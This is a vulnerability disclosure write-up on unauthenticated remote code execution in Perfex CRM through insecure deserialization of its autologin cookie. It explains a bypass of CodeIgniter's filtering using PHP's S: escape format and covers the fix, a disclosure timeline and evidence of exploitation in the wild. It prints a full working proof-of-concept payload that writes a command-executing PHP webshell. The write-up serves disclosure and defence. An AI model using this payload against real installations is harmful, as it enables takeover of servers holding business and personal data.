Perfex CRM <=3.4.0 allows unauthenticated RCE via insecure deserialization

Perfex CRM passed the autologin cookie into unserialize() without validation, giving unauthenticated attackers remote code execution.

TL;DR: Perfex CRM fed the autologin cookie straight into unserialize(). CodeIgniter’s XSS filter stripped the null bytes that private PHP properties need, but PHP’s S: format got around that. Unauthenticated cookie to shell via GuzzleHttp’s FileCookieJar.

Vulnerability information

FieldValue
VendorMSTdev
ProductPerfex CRM
Affected versions<= 3.4.0
CVERequested
CVSS 4.010.0 / Critical
CWECWE-502: Deserialization of Untrusted Data
Disclosure date2026-03-16

Background

Last December I was bored and remembered that CodeCanyon still existed. The S in CodeCanyon obviously stands for “super verified secure scripts”, so I started browsing for interesting apps to poke at. I sorted by sales1 and landed on Perfex CRM as my first pick.

Perfex CRM is a PHP CRM. It’s built on CodeIgniter and handles clients, invoices, projects, support tickets, etc.

The vulnerable call

On the demo instance, the autologin cookie looked like serialized PHP data. So I grabbed a copy of the source and sure enough, Authentication_model.php passes it straight into a bare unserialize(). Textbook object injection.

The base controller loads the authentication model on every request:

core/App_Controller.php

$this->load->model('authentication_model');
$this->authentication_model->autologin();

The model’s constructor calls it again:

models/Authentication_model.php

public function __construct()
{
    parent::__construct();
    $this->load->model('user_autologin');
    $this->autologin();
}

The autologin() method:

models/Authentication_model.php

public function autologin()
{
    if (!is_logged_in()) {
        $this->load->helper('cookie');
        if ($cookie = get_cookie('autologin', true)) {
            $data = unserialize($cookie);
            if (isset($data['key']) and isset($data['user_id'])) {

The cookie hits unserialize() on every request, every route, with no validation.

The XSS filter problem

My first payload didn’t work. Perfex calls get_cookie('autologin', true), and that second parameter turns on CodeIgniter’s XSS filtering:

system/helpers/cookie_helper.php

function get_cookie($index, $xss_clean = NULL)
{
    is_bool($xss_clean) OR $xss_clean = (config_item('global_xss_filtering') === TRUE);
    $prefix = isset($_COOKIE[$index]) ? '' : config_item('cookie_prefix');
    return get_instance()->input->cookie($prefix.$index, $xss_clean);
}

CodeIgniter’s input processing calls remove_invisible_characters(), which strips null bytes:

system/core/Common.php

$non_displayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';

Private properties in PHP serialization use \x00ClassName\x00property as the key. The null bytes are structural. Strip them and the payload breaks:

s:17:"\x00ClassName\x00prop"  ->  after filter  ->  s:17:"ClassNameprop"
      ^^^^          ^^^^                            (broken, length mismatch)

That could have been the end of it. But the filter strips bytes from the cookie value, and unserialize() is the thing that interprets those bytes. If the unserializer had another way to represent them, one that doesn’t use literal null bytes in the wire format, the filter would have nothing to strip.

The S: format bypass

I cloned php-src2 and started reading var_unserializer.re, the lexer that drives unserialize(). The lowercase s: tag reads string bytes verbatim. A few lines down, an uppercase S: variant resolves \xx hex escapes during deserialization, so non-ASCII bytes like null bytes can be written as printable ASCII in the serialized payload.

ext/standard/var_unserializer.re

if (**p != '\\') {
    ZSTR_VAL(str)[i] = (char)**p;
} else {
    unsigned char ch = 0;

    for (j = 0; j < 2; j++) {
        (*p)++;
        if (**p >= '0' && **p <= '9') {
            ch = (ch << 4) + (**p -'0');
        } else if (**p >= 'a' && **p <= 'f') {
            ch = (ch << 4) + (**p -'a'+10);
        } else if (**p >= 'A' && **p <= 'F') {
            ch = (ch << 4) + (**p -'A'+10);
        } else {
            zend_string_efree(str);
            return NULL;
        }
    }
    ZSTR_VAL(str)[i] = (char)ch;
}

S:3:"\00A\00" is entirely printable ASCII. It passes through the XSS filter untouched, and unserialize() resolves the hex escapes back into null bytes.

The S: tag exists because of PHP 6. During its development, the serialization format for binary strings was changed to escape non-ASCII characters, probably to stay compatible with PHP 6’s Unicode strings where not all byte sequences are valid. The uppercase S: tag was added to PHP 5 in 2006 so that serialized data could be exchanged between PHP 5 and PHP 6. PHP 6 was never released. No released version of PHP has ever emitted the S: tag, and no tests covered it. It was only deprecated in PHP 8.4 (the RFC passed 36-0), so it sat in the unserializer for 18 years.3

More obstacles

With the null byte problem solved, building the full payload hit three more issues.

Private properties include the full namespace, so the FileCookieJar cookies property serializes as \x00GuzzleHttp\Cookie\CookieJar\x00cookies. In S: format, \Co fails because the parser treats every backslash as the start of a hex escape and requires two valid hex digits after it. C is valid hex but o is not. Using \5c for literal backslashes gets around this.

S:36:"\00GuzzleHttp\5cCookie\5cCookieJar\00cookies"

Next, CodeIgniter’s xss_clean() replaces PHP open/close tags:

system/core/Security.php

$str = str_replace(array('<?', '?'.'>'), array('&lt;?', '?&gt;'), $str);

The shell payload contains <? which gets mangled. Hex-encoding the tags in the S: string avoids this. \3c\3f becomes <?, \60 becomes the backtick, \3f\3e becomes ?>. All resolved after filtering.

S:15:"\3c\3f=\60$_GET[0]\60\3f\3e"

Finally, after deserialization the app does isset($data['key']). If $data is a FileCookieJar object instead of an array, PHP 8 throws a TypeError and returns HTTP 500. Wrapping the gadget in an array with valid key and user_id fields avoids this. The nested FileCookieJar.__destruct() still fires on garbage collection, and the response comes back as a 307 redirect instead of a 500.

The gadget chain

Perfex CRM bundles GuzzleHttp, which includes FileCookieJar:

class FileCookieJar extends CookieJar
{
    private $filename;
    private $storeSessionCookies;

    public function __destruct()
    {
        $this->save($this->filename);
    }

    public function save(string $filename): void
    {
        $json = [];
        foreach ($this as $cookie) {
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }
        if (false === \file_put_contents($filename, Utils::jsonEncode($json), \LOCK_EX)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }
}

When the object destructs, it calls file_put_contents() with a path and content we control. The shouldPersist() check requires either Expires to be set or storeSessionCookies to be true, and Discard to be false. The PoC sets all three to pass the gate. The “Name” field of a SetCookie object gets included verbatim in the JSON output. Set it to a PHP short tag and the server executes it when the file is requested.

The written file looks like:

[{"Name":"<?=`$_GET[0]`?>","Value":"x","Domain":"localhost",...}]

PHP ignores the JSON around it. It only cares about the <?= tag.

Proof of concept

a:3:{                             <- array wrapper (to avoid TypeError)
  s:3:"key";s:1:"x";              <- satisfies isset($data['key'])
  s:7:"user_id";s:1:"1";          <- satisfies isset($data['user_id'])
  s:3:"jar";
  O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{
    S:36:"\00GuzzleHttp\5cCookie\5cCookieJar\00cookies";
           ^^^          ^^^     ^^^          ^^^
         null byte   backslash            null byte

    a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{
      S:33:"\00GuzzleHttp\5cCookie\5cSetCookie\00data";
      a:9:{
        s:4:"Name";
        S:15:"\3c\3f=\60$_GET[0]\60\3f\3e";
              ^^^^     ^^^^      ^^^^
               <?       `        ?>
        s:5:"Value";s:1:"x";
        s:6:"Domain";s:9:"localhost";
        s:4:"Path";s:1:"/";
        s:7:"Max-Age";N;
        s:7:"Expires";i:9999999999;
        s:6:"Secure";b:0;
        s:7:"Discard";b:0;
        s:8:"HttpOnly";b:0;
      }
    }}
    S:39:"\00GuzzleHttp\5cCookie\5cCookieJar\00strictMode";b:0;
    S:41:"\00GuzzleHttp\5cCookie\5cFileCookieJar\00filename";
    s:31:"filename.php";
    S:52:"\00GuzzleHttp\5cCookie\5cFileCookieJar\00storeSessionCookies";
    b:1;
  }
}

Impact

Unauthenticated RCE as the web server user.

There is evidence suggesting active exploitation in the wild. See disclosure process notes.

Remediation

v3.4.1 replaces serialize()/unserialize() with json_encode()/json_decode(). JSON cannot instantiate PHP objects, so the deserialization vector is eliminated here.

The patched autologin():

public function autologin()
{
    if (! is_logged_in()) {
        $this->load->helper('cookie');
        if ($cookie = get_cookie('autologin', true)) {
            $data = json_decode($cookie, true);

            if (! is_array($data)) {
                delete_cookie('autologin', 'aal');
                return false;
            }

            if (isset($data['key']) and isset($data['user_id'])) {
                if (! is_numeric($data['user_id']) || ! is_string($data['key'])) {
                    delete_cookie('autologin', 'aal');
                    return false;
                }

                if (! is_null($user = $this->user_autologin->get(
                    $data['user_id'], hash('sha256', $data['key'])
                ))) {
                    // ...login proceeds

The patched create_autologin():

private function create_autologin($user_id, $staff)
{
    $this->load->helper('cookie');
    $key = bin2hex(random_bytes(32));
    $this->user_autologin->delete($user_id, $key, $staff);

    if ($this->user_autologin->set($user_id, hash('sha256', $key), $staff)) {
        set_cookie([
            'name'  => 'autologin',
            'value' => json_encode([
                'user_id' => $user_id,
                'key'     => $key,
            ]),
            'expire' => 60 * 60 * 24 * 31 * 2,
        ]);
        return true;
    }
    return false;
}

The fix also adds type validation (is_array(), is_numeric(), is_string()) on the decoded cookie data before use, and the autologin token is now bin2hex(random_bytes(32)) stored as hash('sha256', $key).

tl;dr Update to 3.4.1.

Disclosure process notes

I reported this on 2026-01-05, shared technical details on 2026-01-08. After that it was hard to get responses, even after I escalated to Envato.4 Disclosure-to-patch was 67 days, within our 120-day window. 44 of those days were silence.

While this was ongoing, a Perfex CRM user publicly reported finding two backdoors on their server: a webshell decrypting and executing attacker requests via eval(), and a script using cookie-delivered PHP to write files to arbitrary paths. The second one matches this gadget chain. I shared this with both the vendor and Envato.

I considered publishing earlier. Perfex CRM stores client records, invoices, contracts, and personal data. Its users are small businesses that bought a PHP script on CodeCanyon. They don’t have WAFs or incident response plans. A manual fix exists but requires PHP knowledge most of them probably don’t have, and publishing a mitigation would point attackers straight to the vulnerable code. I judged it would cause more harm than it prevented.

If you’re a Perfex CRM user, assume compromise. Start from a clean install and rotate all secrets and passwords in Perfex.

Feedback on how this was handled is welcome: get in touch.

Timeline

Vendor timeline

DateEvent
2026-01-05Reported to vendor and asked for a security contact.
2026-01-08Shared technical details with vendor.
2026-01-14Requested update and remediation timeline.
2026-01-28Requested update and remediation timeline, explained I will escalate the findings to Envato on 2026-02-02.
2026-02-07Shared active exploitation concern with vendor (CodeCanyon comment).
2026-02-08Forwarded disclosure email to another address affiliated with the project.
2026-02-13Requested update and remediation timeline.
2026-02-13Forwarded disclosure email to another address affiliated with the project.
2026-02-17Posted a public comment on CodeCanyon requesting a response. Another developer replied claiming the security concerns had already been addressed. They had not.
2026-02-18Vendor replied and shared first patch.
2026-02-18Sent patch feedback to vendor.
2026-02-18Vendor shared second patch.
2026-02-18Confirmed second patch looked ok.
2026-03-07Requested update and remediation timeline.
2026-03-09Vendor responded that release work was in progress.
2026-03-09Followed up and re-raised exploitation concern.
2026-03-13Patch released (v3.4.1 security maintenance release).
2026-03-16This post.

Envato timeline

DateEvent
2026-02-02Reached out to Envato.
2026-02-03Envato responded and requested PoC.
2026-02-03Shared PoC with Envato.
2026-02-04Shared exploitation concern with Envato (CodeCanyon comment).
2026-02-13Requested update and remediation timeline.
2026-02-18Envato acknowledged a report backlog and delay in handling.5
2026-02-18Envato said the author had been chased.
2026-03-12Requested Envato contact the vendor again.

  1. 35,000+ sales on CodeCanyon at the time of writing. ↩︎

  2. Googling would have been faster, but reading the lexer was more fun! ↩︎

  3. The S: format was unknown to me at the time of discovery. I’ve since found that phpggc has supported it since November 2018 via its -a flag, and that most documentation of the technique is in Chinese security blogs (e.g. WGPSEC, Lazzaro, lanyi). ↩︎

  4. Around the same time, another user on CodeCanyon reported a security concern and was told to renew their support license before the vendor would engage. ↩︎

  5. “We’ve had a 7000% (yes seven thousand) increase in vulnerability reports over the last 2 years and while we’re improving the way we deal with them, we sometimes get a little behind - I know that’s not great in cases like this where speed is of the essence.” ↩︎